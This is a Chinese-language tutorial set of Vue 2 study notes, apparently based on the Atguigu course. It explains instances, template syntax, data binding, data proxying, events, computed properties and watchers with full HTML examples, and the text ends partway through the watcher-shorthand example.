Vue

Vue2学习

一、Vue简介

vue是一个构建用户界面的框架(库),它的目标是通过尽可能简单的api实现响应的数据绑定组合的视图集合, vue自身不是一个全能框架,它的核心是只关注视图层,因此它非常容易学习,非常容易与其它库或已有项目整合 ,vue在与相关工具和支持库一起使用时, 也能完美地驱动复杂的单页应用,在之后的课程中,我们会配合webpack来使用

1.1Vue的特点

  1. 遵循 MVVM 模式

  2. 编码简洁,体积小,运行效率高,适合 移动/PC 端开发

  3. 它本身只关注 UI,可以轻松引入 vue 插件或其它第三方库开发项目

  4. 采用组件化模式,提高代码复用率,且让代码更好维护

    image-20210919120736161

  5. 声明式编码,让编码人员无需直接操作DOM,提高开发效率

    image-20210919120800158

  6. 使用虚拟DOMDiff算法,尽量复用DOM节点

    image-20210919120814761

image-20220210131646167

1.2 与其他前端 JS 框架的关联

借鉴 angular 的 模板数据绑定 技术
借鉴 react 的 组件化虚拟DOM 技术

1.3 Vue 扩展插件

vue-cli:vue 脚手架
vue-resource(axios):ajax 请求
vue-router:路由
vuex:状态管理(它是 vue 的插件但是没有用 vue-xxx 的命名规则)
vue-lazyload:图片懒加载
vue-scroller:页面滑动相关
mint-ui:基于 vue 的 UI 组件库(移动端)
element-ui:基于 vue 的 UI 组件库(PC 端)

二、搭建Vue开发环境

创建项目

创建一个vue_basic文件夹,并把相关文件放进去,(Vscode软件)

image-20210919125018664

引入Vue.js

  • CDN引入

    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
    
  • 本地引入

    image-20210919122946085

谷歌浏览器安装Vue Devtools插件

image-20210919123939409

01_初识Vue

知识点1:vue实例

    <!-- 
        初识Vue:
            1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象  new Vue({});
            2.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法  {{}};
            3.root容器(id为root的div元素)里的代码被称为【Vue模板】;
            4.Vue实例和容器是一一对应的;
            5.真实开发中只有一个Vue实例,对应的容器也是一个(组件容器除外),并且会配合着组件一起使用;
            6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
            7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;

            注意区分:js表达式 和 js代码(语句)
                1.表达式:一个表达式会产生一个值,(这里包括函数的返回值)可以放在任何一个需要值的地方:
                    (1). a
                    (2). a+b
                    (3). demo(1)
                    (4). x === y ? 'a' : 'b'

                2.js代码(语句)
                    (1). if(){}
                    (2). for(){}
    	-->

示例:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>初始vue</title>
<!-- //引入本地的vue.js,也可以通过cdn引入在线的vue.js -->
    <script src="../js/vue.js"> </script>  
</head>

<body>
    <!-- 
        初识Vue:
            1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象  new Vue({});
            2.root容器(id为root的div元素)里的代码依然符合html规范,只不过混入了一些特殊的Vue语法  {{}};
            3.root容器里的代码被称为【Vue模板】;
            4.Vue实例和容器是一一对应的;
            5.真实开发中只有一个Vue实例,并且会配合着组件一起使用;
            6.{{xxx}}中的xxx要写  js表达式  ,且xxx可以自动读取到data中的所有属性;
            7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;

            注意区分:js表达式 和 js代码(语句)
                1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
                    (1). a
                    (2). a+b
                    (3). demo(1)
                    (4). x === y ? 'a' : 'b'

                2.js代码(语句)
                    (1). if(){}
                    (2). for(){}
    	-->

    <div id="root">
        <h1>
            Hello,{{name.toUpperCase()}},{{address}}
        </h1>

    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;//阻止 vue 在启动时生成生产提示。
        //创建Vue实例
        new Vue({
            el: "#root", //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
            data: {	//data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
                name: "atguigu", 
                address: '北京'   
            }
        });
    </script>

</body>

</html>

Vue模板

image-20220305112524295

02_Vue模板语法

image-20220305115250018

知识点2:模板语法

    <!-- 
    Vue模板语法有2大类:
        1.插值语法:
            功能:用于解析标签体内容。
            写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
        2.指令语法:
            功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.....)。
            举例:v-bind:href="xxx" 或  简写为 :href="xxx",xxx同样要写js表达式, 也可以直接读取到data中的所有属性。
            备注:Vue中有很多的指令,且形式都是:v-????,此处我们只是拿v-bind举个例子。
      -->

示例:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>模板语法</title>
    <script src="../js/vue.js"></script>
</head>

<body>
    <!-- 
    Vue模板语法有2大类:
        1.插值语法:
            功能:用于解析标签体内容。
            写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
        2.指令语法:
            功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.....)。
            举例:v-bind:href="xxx" 或  简写为 :href="xxx",xxx同样要写js表达式,
                    且可以直接读取到data中的所有属性。
            备注:Vue中有很多的指令,且形式都是:v-????,此处我们只是拿v-bind举个例子。
        		 -->
    <!-- 准备好一个容器-->
    <div id="root">
        <h1>插值语法</h1>
        <h3>您好,{{name}}</h3>
        <hr>
        <h1>指令语法</h1>
        <a v-bind:href="school.url">点我去{{school.name}}学习</a>
    </div>

</body>
<script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({

        el: '#root',
        data: {
            name: 'jack',
            school: {
                name: '尚硅谷',
                url: "http://www.baidu.com"
            }
        }
    });
</script>

</html>

03_数据绑定

知识点3:数据绑定

1.单向绑定(v-bind):数据只能从data流向页面。
2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>数据绑定</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
<!-- 
Vue中有2种数据绑定的方式:
    1.单向绑定(v-bind):数据只能从data流向页面。
    2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。
        备注:
            1.双向绑定一般都应用在表单类元素(原理:绑定带有value属性的表单类元素)上(如:input、select等)
            2.v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。
        -->
<!-- 准备好一个容器-->
    <div id="root">
        <!-- 普通写法 -->
        <!-- 单向数据绑定:<input type="text" v-bind:value="name"><br/>
			双向数据绑定:<input type="text" v-model:value="name"><br/> -->

        <!-- 简写 -->
        单向数据绑定:<input type="text" :value="name"><br />
        双向数据绑定:<input type="text" v-model="name"><br />

        <!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
        <!-- <h2 v-model:x="name">你好啊</h2> -->
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            name: '尚硅谷'
        }
    })
</script>

</html>

04_el与data的两种写法

知识点4:el与data的俩种写法

<!-- 
data与el的2种写法
    1.el有2种写法
        (1).new Vue时候配置el属性。
        (2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。
    2.data有2种写法
        (1).对象式
        (2).函数式
        如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
    3.一个重要的原则:
        由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
    -->

el的俩种写法:

image-20210919201138075

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>el与data的两种写法</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
<!-- 
data与el的2种写法
    1.el有2种写法
        (1).new Vue时候配置el属性。
        (2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。
    2.data有2种写法
        (1).对象式
        (2).函数式
        如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
    3.一个重要的原则:
        由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
    -->
<!-- 准备好一个容器-->
    <div id="root">
        <h1>你好,{{name}}</h1>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    //el的两种写法
     const v = new Vue({
        //el:'#root', //第一种写法
        data:{
            name:'尚硅谷'
        }
    })
    console.log(v)
    
    v.$mount('#root') //第二种写法 


</script>

</html>f

data的俩种写法
image-20210919201611789

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>el与data的两种写法</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>

    <div id="root">
        <h1>你好,{{name}}</h1>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    //data的两种写法
    new Vue({
        el: '#root',
        //data的第一种写法:对象式
        /* data:{
            name:'尚硅谷'
        } */

        //data的第二种写法:函数式,
       /*  data:function(){
            return{
                
            }
        } */
        //下面这种是上面的简写
        data() {
            console.log('@@@', this) //此处的this是Vue实例对象
            return {
                name: '尚硅谷'
            }
        }
    })
</script>

</html>f

05_MVVM模型

知识点5:MVVM模型

  1. M:模型(Model) :对应 data 中的数据

  2. V:视图(View) :模板

  3. VM:视图模型(ViewModel) : Vue 实例对象

image-20210919203631533

<!-- 
MVVM模型
    1. M:模型(Model) :data中的数据
    2. V:视图(View) :模板代码
    3. VM:视图模型(ViewModel):Vue实例,是 mvvm 模式的核心,它是连接 view 和 model 的桥梁。它有两个方向:
		1.将模型转化成视图,即将后端传递的数据转化成所看到的页面。实现的方式是:数据绑定
		2.将视图转化成模型,即将所看到的页面转化成后端的数据。实现的方式是:DOM 事件监听
		当这两个方向都实现,我们称之为数据的双向绑定


观察发现:
    1.data中所有的属性,最后都出现在了vm(也就是vue实例对象)身上。
    2.vm身上所有的属性 及 Vue原型上所有属性,在Vue模板中都可以直接使用。
    -->

image-20210717001930625

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>理解MVVM</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
<!-- 
MVVM模型
    1. M:模型(Model) :data中的数据
    2. V:视图(View) :模板代码
3. VM:视图模型(ViewModel):Vue实例
观察发现:
    1.data中所有的属性,最后都出现在了vm身上。
    2.vm身上所有的属性 及 Vue原型上所有属性,在Vue模板中都可以直接使用。
    -->
<!-- 准备好一个容器-->
    <div id="root">
        <h1>学校名称:{{name}}</h1>
        <h1>学校地址:{{address}}</h1>
        <!-- <h1>测试一下1:{{1+1}}</h1>
			<h1>测试一下2:{{$options}}</h1>
			<h1>测试一下3:{{$emit}}</h1>
			<h1>测试一下4:{{_c}}</h1> -->
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el: '#root',
        data: {
            name: '尚硅谷',
            address: '北京',
        }
    })
    console.log(vm)
</script>

</html>

image-20210919203934331

06_数据代理

知识点6:数据代理

Object.defineProperty方法:可以更改或者添加对象的属性值

Object.defineProperty(obj, prop, descriptor)
参数
	obj:要定义属性的对象。
	prop:要定义或修改的属性的名称或 Symbol 。
	descriptor:要定义或修改的属性描述符。
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root"></div>  
</body>
<script type="text/javascript">
    let number = 18;
    let person = {
        name: '张三',
        sex: '男'
    }
    Object.defineProperty(person,'age',{
        // value:11,
        // enumerable:true, //控制属性是否可以枚举,默认值是false
        // writable:true, //控制属性是否可以被修改,默认值是false
        // configurable:true ,//控制属性是否可以被删除,默认值是false
        
        //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
        get(){
            console.log('有人读取age属性')
            return number
        },
        
        //当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
        set(value){
            console.log('有人修改了age属性,且值是', value)
            number = value
        }
    })
    console.log(person)
</script>
</html>

数据代理:通过一个对象代理 对另一个对象中属性的操作(读/写)

以下例子:通过操作obj2对象来对obj对象的修改

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>何为数据代理</title>
	</head>
	<body>
		<!-- 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)-->
		<script type="text/javascript" >
			let obj = {x:100}
			let obj2 = {y:200}

			Object.defineProperty(obj2,'x',{
				get(){
					return obj.x
				},
				set(value){
					obj.x = value
				}
			})
		</script>
	</body>
</html>
1.Vue中的数据代理
     通过vm对象来代理data对象中属性的操作(读/写)
2.Vue中数据代理的 好处
      更加方便的操作data中的数据
3.基本原理:
     通过object.defineProperty()把data对象中的所有属性添加到vm上,为每一个添加到vm上的属性,都指定一个getter和setter
     在getter/setter内部去操作data中对应的属性

image-20210920010115100

image-20210925160004174

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue中的数据代理</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			1.Vue中的数据代理:
				data的值(指针传递)传递给vm对象中的_data (注:_data是vm对象的属性,也是一个对象)
				通过vm对象来代理_data对象中属性的操作(读/写)----》(说白了,vm对象间接代理了data对象的属性)
			2.Vue中数据代理的好处:
				更加方便的操作data中的数据
			3.基本原理:
				通过Object.defineProperty()把data对象中所有属性添加到vm上。
				为每一个添加到vm上的属性,都指定一个getter/setter。
				在getter/setter内部去操作(读/写)data中对应的属性。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>学校名称:{{name}}</h2>
			<h2>学校地址:{{address}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				address:'宏福科技园'
			}
		})
	</script>
</html>

image-20210920100209808

07_事件处理

知识点7:事件处理

事件的基本使用:

1.使用v-on:xxx@xxx 绑定事件,其中xxx是事件名,例如@click

2.事件的回调需要配置在methods对象中,最终会在vm上;

3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;

4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;

5.@click="demo" 和 @click="demo($event)" 效果一致(如果函数不传参,会默认传一个事件对象:​event),但后者可以传参;

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>事件的基本使用</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
<!-- 
事件的基本使用:
    1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;
    2.事件的回调需要配置在methods对象中,最终会在vm上;
    3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;
    4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
    5.@click="demo" 和 @click="demo($event)" 效果一致(如果函数不传参,会默认传一个事件对象:$event),但后者可以传参;
    -->
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>欢迎来到{{name}}学习</h2>
        <!-- <button v-on:click="showInfo">点我提示信息</button> -->
        <button @click="showInfo1">点我提示信息1(不传参)</button>
        <button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el: '#root',
        data: {
            name: '尚硅谷',
        },
        methods: {
            showInfo1(event) {
                // console.log(event.target.innerText)
                // console.log(this) //此处的this是vm
                alert('同学你好!')
            },
            showInfo2(event, number) {
                console.log(event, number)
                // console.log(event.target.innerText)
                // console.log(this) //此处的this是vm
                alert('同学你好!!')
            }
        }
    })
</script>

</html>

知识点8:事件修饰符

Vue中的事件修饰符:

1.prevent:阻止默认事件(常用);

2.stop:阻止事件冒泡(常用);

​ 事件冒泡 :当一个元素接收到事件的时候 会把他接收到的事件传给自己的父级,一直到window (注意这里传递的仅仅是事件 并不传递所绑定的事件函数。所以如果父级没有绑定事件函数,就算传递了事件 也不会有什么表现 但事件确实传递了。)

3.once:事件只触发一次(常用);

4.capture:使用事件的捕获模式(了解),事件捕获之后马上执行(事件在捕获时就进行处理,而不是在冒泡时);

image-20210920115722293

​ 点击div2处,如果不用捕获模式,则先捕获div1,再捕获div2,然后从div2开始冒泡处理事件,所以依次输出2,1

image-20210920115757983

​ 注:正常流程:

image-20210920114200142

5.self:只有event.target是当前操作的元素时才触发事件(了解);

6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕(了解);

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>事件修饰符</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
		<style>
			*{
				margin-top: 20px;
			}
			.demo1{
				height: 50px;
				background-color: skyblue;
			}
			.box1{
				padding: 5px;
				background-color: skyblue;
			}
			.box2{
				padding: 5px;
				background-color: orange;
			}
			.list{
				width: 200px;
				height: 200px;
				background-color: peru;
				overflow: auto;
			}
			li{
				height: 100px;
			}
		</style>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
            
			<!-- 阻止默认事件(常用) -->
			<!-- 等价于  event.preventDefault() -->
			<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>

			<!-- 阻止事件冒泡(常用) -->
			<div class="demo1" @click="showInfo">
				<button @click.stop="showInfo">点我提示信息</button>
                
				<!-- 修饰符可以连续写 -->
				<!-- 等价于 event.preventDefault() && event.stopPropagation() -->
				<!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
			</div>

			<!-- 事件只触发一次(常用) -->
			<button @click.once="showInfo">点我提示信息(事件只触发一次)</button>

			<!-- 使用事件的捕获模式   -->
			<!-- 注:正常流程:先从外到内捕获嵌套事件,然后再从内向外捕获执行事件 -->
			<div class="box1" @click.capture="showMsg(1)">
				div1
				<div class="box2" @click="showMsg(2)">
					div2
				</div>
			</div>

			<!-- 只有event.target是当前操作的元素时才触发事件; -->
			<div class="demo1" @click.self="showInfo">
				<button @click="showInfo">点我提示信息</button>
			</div>

			<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
			<ul @wheel.passive="demo" class="list">
				<li>1</li>
				<li>2</li>
				<li>3</li>
				<li>4</li>
			</ul>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			},
			methods:{
				showInfo(e){
					alert('同学你好!')
					// console.log(e.target)
				},
				showMsg(msg){
					console.log(msg)
				},
				demo(){
					for (let i = 0; i < 100; i++) {
						console.log('#')
					}
					console.log('累坏了')
				}
			}
		})
	</script>
</html>

知识点8:键盘事件

<!-- 
1.Vue中常用的按键别名(并不是所有的按键都有别名哦):
	回车 => enter
	删除 => delete (捕获“删除”和“退格”键)
	退出 => esc
	空格 => space
	换行 => tab (特殊,必须配合keydown去使用)
	上 => up
	下 => down
	左 => left
	右 => right

2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,按键原始的key值不一定是按键对应的字母,如Enter键的原始键名就是Enter,别名是enter;Ctrl键的原始键名是Control,默认没有别名
	但注意:多个单词组成的按键名要转为kebab-case(短横线命名)才能生效;例如切换大小写按键CpasLock,需要转成cpas-lock,例如@keydown.cpas-lock(见下图)

3.系统修饰键(用法特殊):ctrl、alt、shift、meta
	(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
	(2).配合keydown使用:正常触发事件。

4.也可以使用keyCode去指定具体的按键(不推荐)

5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
-->

image-20220306102200926

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>键盘事件</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo">
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			},
			methods: {
				showInfo(e){
					// console.log(e.key,e.keyCode)
					console.log(e.target.value)
				}
			},
		})
	</script>
</html>

08_计算属性

知识点9:计算属性

计算属性:

1.定义:要用的属性不存在,要通过已有属性计算得来。

2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。

3.get函数什么时候执行?

​ (1).初次读取时会执行一次。

​ (2).当依赖的数据发生改变时会被再次调用。

4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。

5.备注:

​ 1.计算属性最终会出现在vm上,直接读取使用即可。

​ 2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>姓名案例_计算属性实现</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 
计算属性:
	1.定义:要用的属性不存在,要通过已有属性计算得来。
	2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
	3.get函数什么时候执行?
		(1).初次读取时会执行一次。
		(2).当依赖的数据发生改变时会被再次调用。
	4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
	5.备注:
		1.计算属性最终会出现在vm上,直接读取使用即可。
		2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
	-->
	<!-- 准备好一个容器-->
	<div id="root">
		姓:<input type="text" v-model="firstName"> <br /><br />
		名:<input type="text" v-model="lastName"> <br /><br />
		测试:<input type="text" v-model="x"> <br /><br />
		全名:<span>{{fullName}}</span> <br /><br />
		<!-- 全名:<span>{{fullName}}</span> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
			全名:<span>{{fullName}}</span> 
		-->
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			firstName: '张',
			lastName: '三',
			x: '你好'
		},
		methods: {
			demo() {

			}
		},

		computed: {
			fullName: {
				//get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
				//get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
				get() {
					console.log('get被调用了')
					// console.log(this) //此处的this是vm
					return this.firstName + '-' + this.lastName
				},
				//set什么时候调用? 当fullName被修改时。
				set(value) {
					console.log('set', value)
					const arr = value.split('-')
					this.firstName = arr[0]
					this.lastName = arr[1]
				}
			}
		}
	})
</script>

</html>

知识点10:计算属性简写

//当computed中的fullName属性只有get()方法而没有set()方法时,可以简写get()方法,
// 下面的简写等价于get()方法,看起来像一个fullName()方法,实则fullName=fullname()方法的返回值
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_计算属性实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
			},
			computed:{
				//完整写法
				/* fullName:{
					get(){
						console.log('get被调用了')
						return this.firstName + '-' + this.lastName
					},
					set(value){
						console.log('set',value)
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				} */
		//当fullName属性只有get()方法而没有set()方法时,可以简写get()方法,
		// 下面的简写等价于get()方法,看起来像一个fullName()方法,实则fullName=fullname()方法的返回值
				fullName(){
					console.log('get被调用了')
					return this.firstName + '-' + this.lastName
				}
			}
		})
	</script>
</html>

vue中的指令语法中,允许写一些简单的表达式

<body>
	<div id="root">
		<h2>今天天气很{{info}} "isHot"</h2>
		<!-- <button @click="isHot = !isHot">切换天气</button> -->
		<button @click="isHot ? '炎热' : '凉爽' ">切换天气</button>
	</div>
</body>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	const vm = new Vue({
		el: '#root',
		data: {
			isHot: true,
		}
	})
</script>

1天气案例.html

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>天气案例</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>今天天气很{{info}} "isHot"</h2>
		<!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 -->
		<!-- <button @click="isHot = !isHot">切换天气</button> -->
		<button @click="changeWeather">切换天气</button>
	</div>
</body>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	const vm = new Vue({
		el: '#root',
		data: {
			isHot: true,
		},
		computed: {
			info() {
				return this.isHot ? '炎热' : '凉爽'
			}
		},
		methods: {
			changeWeather() {
				this.isHot = !this.isHot
			}
		},
	})
</script>
</html>

09_监视属性

知识点12:监视属性_watch

	<!-- 
监视属性watch:
	1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作
	2.监视的属性必须存在,才能进行监视!!
	3.监视的两种写法:
		(1).new Vue时传入watch配置
		(2).通过vm.$watch监视
-->
<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>天气案例_监视属性</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 
监视属性watch:
	1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作
	2.监视的属性必须存在,才能进行监视!!
	3.监视的两种写法:
		(1).new Vue时传入watch配置
		(2).通过vm.$watch监视
-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>今天天气很{{info}}</h2>
		<button @click="changeWeather">切换天气</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			isHot: true,
		},
		computed: {
			info() {
				return this.isHot ? '炎热' : '凉爽'
			}
		},
		methods: {
			changeWeather() {
				this.isHot = !this.isHot
			}
		},

		/* watch:{
			isHot:{
				immediate:true, //初始化时让handler调用一下
				//handler什么时候调用?当isHot发生改变时。
				handler(newValue,oldValue){
					console.log('isHot被修改了',newValue,oldValue)
				}
			}
		} */
	})

	vm.$watch('isHot', {
		immediate: true, //初始化时让handler调用一下
		//handler什么时候调用?当isHot发生改变时。
		handler(newValue, oldValue) {
			console.log('isHot被修改了', newValue, oldValue)
		}
	})
</script>

</html>

知识点13:深度监视deep

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>天气案例_深度监视</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 
	深度监视:
		(1).Vue中的watch默认不监测对象内部值的改变(一层)。
		(2).配置deep:true可以监测对象内部值改变(多层)。
	备注:	
		(1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
		(2).使用watch时根据数据的具体结构,决定是否采用深度监视。
-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>今天天气很{{info}}</h2>
		<button @click="changeWeather">切换天气</button>
		<hr />
		<h3>a的值是:{{numbers.a}}</h3>
		<button @click="numbers.a++">点我让a+1</button>
		<h3>b的值是:{{numbers.b}}</h3>
		<button @click="numbers.b++">点我让b+1</button>
		<button @click="numbers = {a:666,b:888,c:{d:{e:200}}}">彻底替换掉numbers</button>
		{{numbers.c.d.e}}
		<!-- {{numbers.a}} -->
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			isHot: true,
			numbers: {
				a: 1,
				b: 1,
				c: {
					d: {
						e: 100
					}
				}
			}
		},
		computed: {
			info() {
				return this.isHot ? '炎热' : '凉爽'
			}
		},
		methods: {
			changeWeather() {
				this.isHot = !this.isHot
			}
		},
		watch: {
			isHot: {
				// immediate:true, //初始化时让handler调用一下
				//handler什么时候调用?当isHot发生改变时。
				handler(newValue, oldValue) {
					console.log('isHot被修改了', newValue, oldValue)
				}
			},
			//监视多级结构中某个属性的变化
			/* 'numbers.a':{
				handler(){
					console.log('a被改变了')
				}
			} */
			//监视多级结构中所有属性的变化
			numbers: {
				deep: true,
				handler() {
					console.log('numbers改变了')
				}
			}
		}
	})

</script>

</html>

知识点13:监视属性简写watch

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>天气案例_监视属性_简写</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>今天天气很{{info}}</h2>
		<button @click="changeWeather">切换天气</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			isHot: true,
		},
		computed: {
			info() {
